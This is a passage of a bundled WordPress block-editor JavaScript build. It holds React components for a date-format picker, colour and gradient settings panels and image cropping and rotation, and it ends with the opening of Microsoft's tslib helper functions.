57153 format && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NonDefaultControls, { format, onChange })
57154 ]
57155 }
57156 );
57157}
57158function NonDefaultControls({ format, onChange }) {
57159 const suggestedFormats = [
57160 .../* @__PURE__ */ new Set([
57161 /* translators: See https://www.php.net/manual/datetime.format.php */
57162 "Y-m-d",
57163 /* translators: See https://www.php.net/manual/datetime.format.php */
57164 (0,external_wp_i18n_namespaceObject._x)("n/j/Y", "short date format"),
57165 /* translators: See https://www.php.net/manual/datetime.format.php */
57166 (0,external_wp_i18n_namespaceObject._x)("n/j/Y g:i A", "short date format with time"),
57167 /* translators: See https://www.php.net/manual/datetime.format.php */
57168 (0,external_wp_i18n_namespaceObject._x)("M j, Y", "medium date format"),
57169 /* translators: See https://www.php.net/manual/datetime.format.php */
57170 (0,external_wp_i18n_namespaceObject._x)("M j, Y g:i A", "medium date format with time"),
57171 /* translators: See https://www.php.net/manual/datetime.format.php */
57172 (0,external_wp_i18n_namespaceObject._x)("F j, Y", "long date format"),
57173 /* translators: See https://www.php.net/manual/datetime.format.php */
57174 (0,external_wp_i18n_namespaceObject._x)("M j", "short date format without the year")
57175 ])
57176 ];
57177 const suggestedOptions = [
57178 ...suggestedFormats.map((suggestedFormat, index) => ({
57179 key: `suggested-${index}`,
57180 name: (0,external_wp_date_namespaceObject.dateI18n)(suggestedFormat, exampleDate),
57181 format: suggestedFormat
57182 })),
57183 {
57184 key: "human-diff",
57185 name: (0,external_wp_date_namespaceObject.humanTimeDiff)(exampleDate),
57186 format: "human-diff"
57187 }
57188 ];
57189 const customOption = {
57190 key: "custom",
57191 name: (0,external_wp_i18n_namespaceObject.__)("Custom"),
57192 className: "block-editor-date-format-picker__custom-format-select-control__custom-option",
57193 hint: (0,external_wp_i18n_namespaceObject.__)("Enter your own date format")
57194 };
57195 const [isCustom, setIsCustom] = (0,external_wp_element_namespaceObject.useState)(
57196 () => !!format && !suggestedOptions.some((option) => option.format === format)
57197 );
57198 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { children: [
57199 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57200 external_wp_components_namespaceObject.CustomSelectControl,
57201 {
57202 __next40pxDefaultSize: true,
57203 label: (0,external_wp_i18n_namespaceObject.__)("Choose a format"),
57204 options: [...suggestedOptions, customOption],
57205 value: isCustom ? customOption : suggestedOptions.find(
57206 (option) => option.format === format
57207 ) ?? customOption,
57208 onChange: ({ selectedItem }) => {
57209 if (selectedItem === customOption) {
57210 setIsCustom(true);
57211 } else {
57212 setIsCustom(false);
57213 onChange(selectedItem.format);
57214 }
57215 }
57216 }
57217 ),
57218 isCustom && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57219 external_wp_components_namespaceObject.TextControl,
57220 {
57221 __next40pxDefaultSize: true,
57222 __nextHasNoMarginBottom: true,
57223 label: (0,external_wp_i18n_namespaceObject.__)("Custom format"),
57224 hideLabelFromVision: true,
57225 help: (0,external_wp_element_namespaceObject.createInterpolateElement)(
57226 (0,external_wp_i18n_namespaceObject.__)(
57227 "Enter a date or time <Link>format string</Link>."
57228 ),
57229 {
57230 Link: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57231 external_wp_components_namespaceObject.ExternalLink,
57232 {
57233 href: (0,external_wp_i18n_namespaceObject.__)(
57234 "https://wordpress.org/documentation/article/customize-date-and-time-format/"
57235 )
57236 }
57237 )
57238 }
57239 ),
57240 value: format,
57241 onChange: (value) => onChange(value)
57242 }
57243 )
57244 ] });
57245}
57246
57247
57248;// ./node_modules/@wordpress/block-editor/build-module/components/colors-gradients/dropdown.js
57249
57250
57251
57252
57253
57254
57255
57256const WithToolsPanelItem = ({ setting, children, panelId, ...props }) => {
57257 const clearValue = () => {
57258 if (setting.colorValue) {
57259 setting.onColorChange();
57260 } else if (setting.gradientValue) {
57261 setting.onGradientChange();
57262 }
57263 };
57264 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57265 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
57266 {
57267 hasValue: () => {
57268 return !!setting.colorValue || !!setting.gradientValue;
57269 },
57270 label: setting.label,
57271 onDeselect: clearValue,
57272 isShownByDefault: setting.isShownByDefault !== void 0 ? setting.isShownByDefault : true,
57273 ...props,
57274 className: "block-editor-tools-panel-color-gradient-settings__item",
57275 panelId,
57276 resetAllFilter: setting.resetAllFilter,
57277 children
57278 }
57279 );
57280};
57281const dropdown_LabeledColorIndicator = ({ colorValue, label }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "flex-start", children: [
57282 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57283 external_wp_components_namespaceObject.ColorIndicator,
57284 {
57285 className: "block-editor-panel-color-gradient-settings__color-indicator",
57286 colorValue
57287 }
57288 ),
57289 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57290 external_wp_components_namespaceObject.FlexItem,
57291 {
57292 className: "block-editor-panel-color-gradient-settings__color-name",
57293 title: label,
57294 children: label
57295 }
57296 )
57297] });
57298const dropdown_renderToggle = (settings) => ({ onToggle, isOpen }) => {
57299 const {
57300 clearable,
57301 colorValue,
57302 gradientValue,
57303 onColorChange,
57304 onGradientChange,
57305 label
57306 } = settings;
57307 const colorButtonRef = (0,external_wp_element_namespaceObject.useRef)(void 0);
57308 const toggleProps = {
57309 onClick: onToggle,
57310 className: dist_clsx(
57311 "block-editor-panel-color-gradient-settings__dropdown",
57312 { "is-open": isOpen }
57313 ),
57314 "aria-expanded": isOpen,
57315 ref: colorButtonRef
57316 };
57317 const clearValue = () => {
57318 if (colorValue) {
57319 onColorChange();
57320 } else if (gradientValue) {
57321 onGradientChange();
57322 }
57323 };
57324 const value = colorValue ?? gradientValue;
57325 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
57326 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, ...toggleProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57327 dropdown_LabeledColorIndicator,
57328 {
57329 colorValue: value,
57330 label
57331 }
57332 ) }),
57333 clearable && value && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57334 external_wp_components_namespaceObject.Button,
57335 {
57336 __next40pxDefaultSize: true,
57337 label: (0,external_wp_i18n_namespaceObject.__)("Reset"),
57338 className: "block-editor-panel-color-gradient-settings__reset",
57339 size: "small",
57340 icon: reset_default,
57341 onClick: () => {
57342 clearValue();
57343 if (isOpen) {
57344 onToggle();
57345 }
57346 colorButtonRef.current?.focus();
57347 }
57348 }
57349 )
57350 ] });
57351};
57352function ColorGradientSettingsDropdown({
57353 colors,
57354 disableCustomColors,
57355 disableCustomGradients,
57356 enableAlpha,
57357 gradients,
57358 settings,
57359 __experimentalIsRenderedInSidebar,
57360 ...props
57361}) {
57362 let popoverProps;
57363 if (__experimentalIsRenderedInSidebar) {
57364 popoverProps = {
57365 placement: "left-start",
57366 offset: 36,
57367 shift: true
57368 };
57369 }
57370 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: settings.map((setting, index) => {
57371 const controlProps = {
57372 clearable: false,
57373 colorValue: setting.colorValue,
57374 colors,
57375 disableCustomColors,
57376 disableCustomGradients,
57377 enableAlpha,
57378 gradientValue: setting.gradientValue,
57379 gradients,
57380 label: setting.label,
57381 onColorChange: setting.onColorChange,
57382 onGradientChange: setting.onGradientChange,
57383 showTitle: false,
57384 __experimentalIsRenderedInSidebar,
57385 ...setting
57386 };
57387 const toggleSettings = {
57388 clearable: setting.clearable,
57389 label: setting.label,
57390 colorValue: setting.colorValue,
57391 gradientValue: setting.gradientValue,
57392 onColorChange: setting.onColorChange,
57393 onGradientChange: setting.onGradientChange
57394 };
57395 return setting && // If not in an `ItemGroup` wrap the dropdown in a
57396 // `ToolsPanelItem`
57397 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57398 WithToolsPanelItem,
57399 {
57400 setting,
57401 ...props,
57402 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57403 external_wp_components_namespaceObject.Dropdown,
57404 {
57405 popoverProps,
57406 className: "block-editor-tools-panel-color-gradient-settings__dropdown",
57407 renderToggle: dropdown_renderToggle(toggleSettings),
57408 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalDropdownContentWrapper, { paddingSize: "none", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-panel-color-gradient-settings__dropdown-content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57409 control_default,
57410 {
57411 ...controlProps
57412 }
57413 ) }) })
57414 }
57415 )
57416 },
57417 index
57418 );
57419 }) });
57420}
57421
57422
57423;// ./node_modules/@wordpress/block-editor/build-module/components/colors-gradients/panel-color-gradient-settings.js
57424
57425
57426
57427
57428
57429
57430
57431const panel_color_gradient_settings_colorsAndGradientKeys = [
57432 "colors",
57433 "disableCustomColors",
57434 "gradients",
57435 "disableCustomGradients"
57436];
57437const PanelColorGradientSettingsInner = ({
57438 className,
57439 colors,
57440 gradients,
57441 disableCustomColors,
57442 disableCustomGradients,
57443 children,
57444 settings,
57445 title,
57446 showTitle = true,
57447 __experimentalIsRenderedInSidebar,
57448 enableAlpha
57449}) => {
57450 const panelId = (0,external_wp_compose_namespaceObject.useInstanceId)(PanelColorGradientSettingsInner);
57451 const { batch } = (0,external_wp_data_namespaceObject.useRegistry)();
57452 if ((!colors || colors.length === 0) && (!gradients || gradients.length === 0) && disableCustomColors && disableCustomGradients && settings?.every(
57453 (setting) => (!setting.colors || setting.colors.length === 0) && (!setting.gradients || setting.gradients.length === 0) && (setting.disableCustomColors === void 0 || setting.disableCustomColors) && (setting.disableCustomGradients === void 0 || setting.disableCustomGradients)
57454 )) {
57455 return null;
57456 }
57457 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
57458 external_wp_components_namespaceObject.__experimentalToolsPanel,
57459 {
57460 className: dist_clsx(
57461 "block-editor-panel-color-gradient-settings",
57462 className
57463 ),
57464 label: showTitle ? title : void 0,
57465 resetAll: () => {
57466 batch(() => {
57467 settings.forEach(
57468 ({
57469 colorValue,
57470 gradientValue,
57471 onColorChange,
57472 onGradientChange
57473 }) => {
57474 if (colorValue) {
57475 onColorChange();
57476 } else if (gradientValue) {
57477 onGradientChange();
57478 }
57479 }
57480 );
57481 });
57482 },
57483 panelId,
57484 __experimentalFirstVisibleItemClass: "first",
57485 __experimentalLastVisibleItemClass: "last",
57486 children: [
57487 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57488 ColorGradientSettingsDropdown,
57489 {
57490 settings,
57491 panelId,
57492 ...{
57493 colors,
57494 gradients,
57495 disableCustomColors,
57496 disableCustomGradients,
57497 __experimentalIsRenderedInSidebar,
57498 enableAlpha
57499 }
57500 }
57501 ),
57502 !!children && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
57503 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { marginY: 4 }),
57504 " ",
57505 children
57506 ] })
57507 ]
57508 }
57509 );
57510};
57511const PanelColorGradientSettingsSelect = (props) => {
57512 const colorGradientSettings = useMultipleOriginColorsAndGradients();
57513 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57514 PanelColorGradientSettingsInner,
57515 {
57516 ...{ ...colorGradientSettings, ...props }
57517 }
57518 );
57519};
57520const PanelColorGradientSettings = (props) => {
57521 if (panel_color_gradient_settings_colorsAndGradientKeys.every((key) => props.hasOwnProperty(key))) {
57522 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PanelColorGradientSettingsInner, { ...props });
57523 }
57524 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PanelColorGradientSettingsSelect, { ...props });
57525};
57526var panel_color_gradient_settings_default = PanelColorGradientSettings;
57527
57528
57529;// ./node_modules/@wordpress/icons/build-module/library/aspect-ratio.js
57530
57531
57532var aspect_ratio_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18.5 5.5h-13c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5h-13c-.3 0-.5-.2-.5-.5v-9c0-.3.2-.5.5-.5h13c.3 0 .5.2.5.5v9zM6.5 12H8v-2h2V8.5H6.5V12zm9.5 2h-2v1.5h3.5V12H16v2z" }) });
57533
57534
57535;// ./node_modules/@wordpress/block-editor/build-module/components/image-editor/constants.js
57536const MIN_ZOOM = 100;
57537const MAX_ZOOM = 300;
57538const constants_POPOVER_PROPS = {
57539 placement: "bottom-start"
57540};
57541
57542
57543;// ./node_modules/@wordpress/block-editor/build-module/components/image-editor/use-save-image.js
57544
57545
57546
57547
57548
57549
57550
57551const messages = {
57552 crop: (0,external_wp_i18n_namespaceObject.__)("Image cropped."),
57553 rotate: (0,external_wp_i18n_namespaceObject.__)("Image rotated."),
57554 cropAndRotate: (0,external_wp_i18n_namespaceObject.__)("Image cropped and rotated.")
57555};
57556function useSaveImage({
57557 crop,
57558 rotation,
57559 url,
57560 id,
57561 onSaveImage,
57562 onFinishEditing
57563}) {
57564 const { createErrorNotice, createSuccessNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
57565 const [isInProgress, setIsInProgress] = (0,external_wp_element_namespaceObject.useState)(false);
57566 const { editMediaEntity } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
57567 const settings = select(store).getSettings();
57568 return {
57569 editMediaEntity: settings?.[mediaEditKey]
57570 };
57571 }, []);
57572 const cancel = (0,external_wp_element_namespaceObject.useCallback)(() => {
57573 setIsInProgress(false);
57574 onFinishEditing();
57575 }, [onFinishEditing]);
57576 const apply = (0,external_wp_element_namespaceObject.useCallback)(async () => {
57577 if (!editMediaEntity) {
57578 onFinishEditing();
57579 createErrorNotice(
57580 (0,external_wp_i18n_namespaceObject.__)("Sorry, you are not allowed to edit images on this site."),
57581 {
57582 id: "image-editing-error",
57583 type: "snackbar"
57584 }
57585 );
57586 return;
57587 }
57588 setIsInProgress(true);
57589 const modifiers = [];
57590 if (rotation > 0) {
57591 modifiers.push({
57592 type: "rotate",
57593 args: {
57594 angle: rotation
57595 }
57596 });
57597 }
57598 if (crop.width < 99.9 || crop.height < 99.9) {
57599 modifiers.push({
57600 type: "crop",
57601 args: {
57602 left: crop.x,
57603 top: crop.y,
57604 width: crop.width,
57605 height: crop.height
57606 }
57607 });
57608 }
57609 if (modifiers.length === 0) {
57610 setIsInProgress(false);
57611 onFinishEditing();
57612 return;
57613 }
57614 const modifierType = modifiers.length === 1 ? modifiers[0].type : "cropAndRotate";
57615 try {
57616 const savedImage = await editMediaEntity(
57617 id,
57618 {
57619 src: url,
57620 modifiers
57621 },
57622 { throwOnError: true }
57623 );
57624 if (savedImage) {
57625 onSaveImage({
57626 id: savedImage.id,
57627 url: savedImage.source_url
57628 });
57629 createSuccessNotice(messages[modifierType], {
57630 type: "snackbar",
57631 actions: [
57632 {
57633 label: (0,external_wp_i18n_namespaceObject.__)("Undo"),
57634 onClick: () => {
57635 onSaveImage({
57636 id,
57637 url
57638 });
57639 }
57640 }
57641 ]
57642 });
57643 }
57644 } catch (error) {
57645 createErrorNotice(
57646 (0,external_wp_i18n_namespaceObject.sprintf)(
57647 /* translators: %s: Error message. */
57648 (0,external_wp_i18n_namespaceObject.__)("Could not edit image. %s"),
57649 (0,external_wp_dom_namespaceObject.__unstableStripHTML)(error.message)
57650 ),
57651 {
57652 id: "image-editing-error",
57653 type: "snackbar"
57654 }
57655 );
57656 } finally {
57657 setIsInProgress(false);
57658 onFinishEditing();
57659 }
57660 }, [
57661 crop,
57662 rotation,
57663 id,
57664 url,
57665 onSaveImage,
57666 createErrorNotice,
57667 createSuccessNotice,
57668 onFinishEditing,
57669 editMediaEntity
57670 ]);
57671 return (0,external_wp_element_namespaceObject.useMemo)(
57672 () => ({
57673 isInProgress,
57674 apply,
57675 cancel
57676 }),
57677 [isInProgress, apply, cancel]
57678 );
57679}
57680
57681
57682;// ./node_modules/@wordpress/block-editor/build-module/components/image-editor/use-transform-image.js
57683
57684
57685function useTransformImage({
57686 url,
57687 naturalWidth,
57688 naturalHeight
57689}) {
57690 const [editedUrl, setEditedUrl] = (0,external_wp_element_namespaceObject.useState)();
57691 const [crop, setCrop] = (0,external_wp_element_namespaceObject.useState)();
57692 const [position, setPosition] = (0,external_wp_element_namespaceObject.useState)({ x: 0, y: 0 });
57693 const [zoom, setZoom] = (0,external_wp_element_namespaceObject.useState)(100);
57694 const [rotation, setRotation] = (0,external_wp_element_namespaceObject.useState)(0);
57695 const defaultAspect = naturalWidth / naturalHeight;
57696 const [aspect, setAspect] = (0,external_wp_element_namespaceObject.useState)(defaultAspect);
57697 const rotateClockwise = (0,external_wp_element_namespaceObject.useCallback)(() => {
57698 const angle = (rotation + 90) % 360;
57699 let naturalAspectRatio = defaultAspect;
57700 if (rotation % 180 === 90) {
57701 naturalAspectRatio = 1 / defaultAspect;
57702 }
57703 if (angle === 0) {
57704 setEditedUrl();
57705 setRotation(angle);
57706 setAspect(defaultAspect);
57707 setPosition((prevPosition) => ({
57708 x: -(prevPosition.y * naturalAspectRatio),
57709 y: prevPosition.x * naturalAspectRatio
57710 }));
57711 return;
57712 }
57713 function editImage(event) {
57714 const canvas = document.createElement("canvas");
57715 let translateX = 0;
57716 let translateY = 0;
57717 if (angle % 180) {
57718 canvas.width = event.target.height;
57719 canvas.height = event.target.width;
57720 } else {
57721 canvas.width = event.target.width;
57722 canvas.height = event.target.height;
57723 }
57724 if (angle === 90 || angle === 180) {
57725 translateX = canvas.width;
57726 }
57727 if (angle === 270 || angle === 180) {
57728 translateY = canvas.height;
57729 }
57730 const context = canvas.getContext("2d");
57731 context.translate(translateX, translateY);
57732 context.rotate(angle * Math.PI / 180);
57733 context.drawImage(event.target, 0, 0);
57734 canvas.toBlob((blob) => {
57735 setEditedUrl(URL.createObjectURL(blob));
57736 setRotation(angle);
57737 setAspect(canvas.width / canvas.height);
57738 setPosition((prevPosition) => ({
57739 x: -(prevPosition.y * naturalAspectRatio),
57740 y: prevPosition.x * naturalAspectRatio
57741 }));
57742 });
57743 }
57744 const el = new window.Image();
57745 el.src = url;
57746 el.onload = editImage;
57747 const imgCrossOrigin = (0,external_wp_hooks_namespaceObject.applyFilters)(
57748 "media.crossOrigin",
57749 void 0,
57750 url
57751 );
57752 if (typeof imgCrossOrigin === "string") {
57753 el.crossOrigin = imgCrossOrigin;
57754 }
57755 }, [rotation, defaultAspect, url]);
57756 return (0,external_wp_element_namespaceObject.useMemo)(
57757 () => ({
57758 editedUrl,
57759 setEditedUrl,
57760 crop,
57761 setCrop,
57762 position,
57763 setPosition,
57764 zoom,
57765 setZoom,
57766 rotation,
57767 setRotation,
57768 rotateClockwise,
57769 aspect,
57770 setAspect,
57771 defaultAspect
57772 }),
57773 [
57774 editedUrl,
57775 crop,
57776 position,
57777 zoom,
57778 rotation,
57779 rotateClockwise,
57780 aspect,
57781 defaultAspect
57782 ]
57783 );
57784}
57785
57786
57787;// ./node_modules/@wordpress/block-editor/build-module/components/image-editor/context.js
57788
57789
57790
57791
57792const ImageEditingContext = (0,external_wp_element_namespaceObject.createContext)({});
57793ImageEditingContext.displayName = "ImageEditingContext";
57794const useImageEditingContext = () => (0,external_wp_element_namespaceObject.useContext)(ImageEditingContext);
57795function ImageEditingProvider({
57796 id,
57797 url,
57798 naturalWidth,
57799 naturalHeight,
57800 onFinishEditing,
57801 onSaveImage,
57802 children
57803}) {
57804 const transformImage = useTransformImage({
57805 url,
57806 naturalWidth,
57807 naturalHeight
57808 });
57809 const saveImage = useSaveImage({
57810 id,
57811 url,
57812 onSaveImage,
57813 onFinishEditing,
57814 ...transformImage
57815 });
57816 const providerValue = (0,external_wp_element_namespaceObject.useMemo)(
57817 () => ({
57818 ...transformImage,
57819 ...saveImage
57820 }),
57821 [transformImage, saveImage]
57822 );
57823 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ImageEditingContext.Provider, { value: providerValue, children });
57824}
57825
57826
57827;// ./node_modules/@wordpress/block-editor/build-module/components/image-editor/aspect-ratio-dropdown.js
57828
57829
57830
57831
57832
57833
57834
57835function AspectRatioGroup({
57836 aspectRatios,
57837 isDisabled,
57838 label,
57839 onClick,
57840 value
57841}) {
57842 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { label, children: aspectRatios.map(({ name, slug, ratio }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57843 external_wp_components_namespaceObject.MenuItem,
57844 {
57845 disabled: isDisabled,
57846 onClick: () => {
57847 onClick(ratio);
57848 },
57849 role: "menuitemradio",
57850 isSelected: ratio === value,
57851 icon: ratio === value ? check_check_default : void 0,
57852 children: name
57853 },
57854 slug
57855 )) });
57856}
57857function ratioToNumber(str) {
57858 const [a, b, ...rest] = str.split("/").map(Number);
57859 if (a <= 0 || b <= 0 || Number.isNaN(a) || Number.isNaN(b) || rest.length) {
57860 return NaN;
57861 }
57862 return b ? a / b : a;
57863}
57864function presetRatioAsNumber({ ratio, ...rest }) {
57865 return {
57866 ratio: ratioToNumber(ratio),
57867 ...rest
57868 };
57869}
57870function AspectRatioDropdown({ toggleProps }) {
57871 const { isInProgress, aspect, setAspect, defaultAspect } = useImageEditingContext();
57872 const [defaultRatios, themeRatios, showDefaultRatios] = use_settings_useSettings(
57873 "dimensions.aspectRatios.default",
57874 "dimensions.aspectRatios.theme",
57875 "dimensions.defaultAspectRatios"
57876 );
57877 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57878 external_wp_components_namespaceObject.DropdownMenu,
57879 {
57880 icon: aspect_ratio_default,
57881 label: (0,external_wp_i18n_namespaceObject.__)("Aspect Ratio"),
57882 popoverProps: constants_POPOVER_PROPS,
57883 toggleProps,
57884 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
57885 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57886 AspectRatioGroup,
57887 {
57888 isDisabled: isInProgress,
57889 onClick: (newAspect) => {
57890 setAspect(newAspect);
57891 onClose();
57892 },
57893 value: aspect,
57894 aspectRatios: [
57895 // All ratios should be mirrored in AspectRatioTool in @wordpress/block-editor.
57896 {
57897 slug: "original",
57898 name: (0,external_wp_i18n_namespaceObject.__)("Original"),
57899 ratio: defaultAspect
57900 },
57901 ...showDefaultRatios ? defaultRatios.map(presetRatioAsNumber).filter(({ ratio }) => ratio === 1) : []
57902 ]
57903 }
57904 ),
57905 themeRatios?.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57906 AspectRatioGroup,
57907 {
57908 label: (0,external_wp_i18n_namespaceObject.__)("Theme"),
57909 isDisabled: isInProgress,
57910 onClick: (newAspect) => {
57911 setAspect(newAspect);
57912 onClose();
57913 },
57914 value: aspect,
57915 aspectRatios: themeRatios
57916 }
57917 ),
57918 showDefaultRatios && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57919 AspectRatioGroup,
57920 {
57921 label: (0,external_wp_i18n_namespaceObject.__)("Landscape"),
57922 isDisabled: isInProgress,
57923 onClick: (newAspect) => {
57924 setAspect(newAspect);
57925 onClose();
57926 },
57927 value: aspect,
57928 aspectRatios: defaultRatios.map(presetRatioAsNumber).filter(({ ratio }) => ratio > 1)
57929 }
57930 ),
57931 showDefaultRatios && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57932 AspectRatioGroup,
57933 {
57934 label: (0,external_wp_i18n_namespaceObject.__)("Portrait"),
57935 isDisabled: isInProgress,
57936 onClick: (newAspect) => {
57937 setAspect(newAspect);
57938 onClose();
57939 },
57940 value: aspect,
57941 aspectRatios: defaultRatios.map(presetRatioAsNumber).filter(({ ratio }) => ratio < 1)
57942 }
57943 )
57944 ] })
57945 }
57946 );
57947}
57948
57949
57950;// ./node_modules/tslib/tslib.es6.mjs
57951/******************************************************************************
57952Copyright (c) Microsoft Corporation.
57953
57954Permission to use, copy, modify, and/or distribute this software for any
57955purpose with or without fee is hereby granted.
57956
57957THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
57958REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
57959AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
57960INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
57961LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
57962OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
57963PERFORMANCE OF THIS SOFTWARE.
57964***************************************************************************** */
57965/* global Reflect, Promise, SuppressedError, Symbol, Iterator */
57966
57967var extendStatics = function(d, b) {
57968 extendStatics = Object.setPrototypeOf ||
57969 ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
57970 function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
57971 return extendStatics(d, b);
57972};
57973
57974function __extends(d, b) {
57975 if (typeof b !== "function" && b !== null)
57976 throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
57977 extendStatics(d, b);
57978 function __() { this.constructor = d; }
57979 d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
57980}
57981
57982var __assign = function() {
57983 __assign = Object.assign || function __assign(t) {
57984 for (var s, i = 1, n = arguments.length; i < n; i++) {
57985 s = arguments[i];
57986 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
57987 }
57988 return t;
57989 }
57990 return __assign.apply(this, arguments);
57991}
57992
57993function __rest(s, e) {
57994 var t = {};
57995 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
57996 t[p] = s[p];
57997 if (s != null && typeof Object.getOwnPropertySymbols === "function")
57998 for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
57999 if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
58000 t[p[i]] = s[p[i]];
58001 }
58002 return t;
58003}
58004
58005function __decorate(decorators, target, key, desc) {
58006 var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
58007 if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
58008 else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
58009 return c > 3 && r && Object.defineProperty(target, key, r), r;
58010}
58011
58012function __param(paramIndex, decorator) {
58013 return function (target, key) { decorator(target, key, paramIndex); }
58014}
58015
58016function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
58017 function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
58018 var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
58019 var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
58020 var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
58021 var _, done = false;
58022 for (var i = decorators.length - 1; i >= 0; i--) {
58023 var context = {};
58024 for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
58025 for (var p in contextIn.access) context.access[p] = contextIn.access[p];
58026 context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
58027 var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
58028 if (kind === "accessor") {
58029 if (result === void 0) continue;
58030 if (result === null || typeof result !== "object") throw new TypeError("Object expected");
58031 if (_ = accept(result.get)) descriptor.get = _;
58032 if (_ = accept(result.set)) descriptor.set = _;
58033 if (_ = accept(result.init)) initializers.unshift(_);
58034 }
58035 else if (_ = accept(result)) {
58036 if (kind === "field") initializers.unshift(_);
58037 else descriptor[key] = _;
58038 }
58039 }
58040 if (target) Object.defineProperty(target, contextIn.name, descriptor);
58041 done = true;
58042};
